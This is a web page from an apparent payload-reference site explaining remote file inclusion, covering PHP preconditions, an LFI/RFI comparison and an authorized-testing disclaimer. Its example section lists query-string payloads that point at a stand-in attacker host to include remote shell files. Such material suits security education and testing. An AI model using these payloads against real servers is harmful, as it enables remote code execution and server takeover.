Payloads.site / Payload Guides / RFI
Remote File Inclusion (RFI) Payloads & Techniques
Remote file inclusion (RFI) occurs when an application includes a file from a remote, attacker-controlled URL rather than a local path, letting an attacker's code execute in the context of the server. It's the same underlying vulnerable include/require call as local file inclusion, but with a remote source instead of a local one.
Preconditions
RFI requires the server-side runtime to allow including content from a remote URL — in PHP, this depends on
settings such as allow_url_include and allow_url_fopen. These are disabled by default in modern PHP
configurations, which is why RFI is far less common on current stacks than it was historically. It's still
worth testing on legacy applications, misconfigured servers, or frameworks with equivalent
remote-include/template-fetch functionality.
Representative Example Patterns
?page=http://attacker.example/shell.txt ?file=http://attacker.example/shell.txt? ?template=//attacker.example/payload.txt
These illustrate the URL-parameter pattern only — a working test requires a reachable, attacker-controlled host to serve the included content. See the full, searchable payload library and encoder for a larger set of parameter and path variations.
FAQ
Is remote file inclusion still exploitable on modern applications?
Rarely by default — modern PHP disables allow_url_include and
allow_url_fopen out of the box, and most other stacks don't
support remote includes at all. It remains worth testing on legacy applications, misconfigured
servers, or frameworks with equivalent remote-fetch/template-include functionality.
What is the difference between LFI and RFI?
Both exploit the same vulnerable include/require (or equivalent) call. LFI includes a file that already exists on the local filesystem; RFI includes a file fetched from a remote, attacker-controlled URL, which is why RFI generally requires additional server-side configuration to be exploitable.
Further reading: CWE-98 – PHP Remote File Inclusion
⚠️ For educational purposes and authorized security testing only. Do not test systems you do not own or lack explicit permission to test.
Other payload guides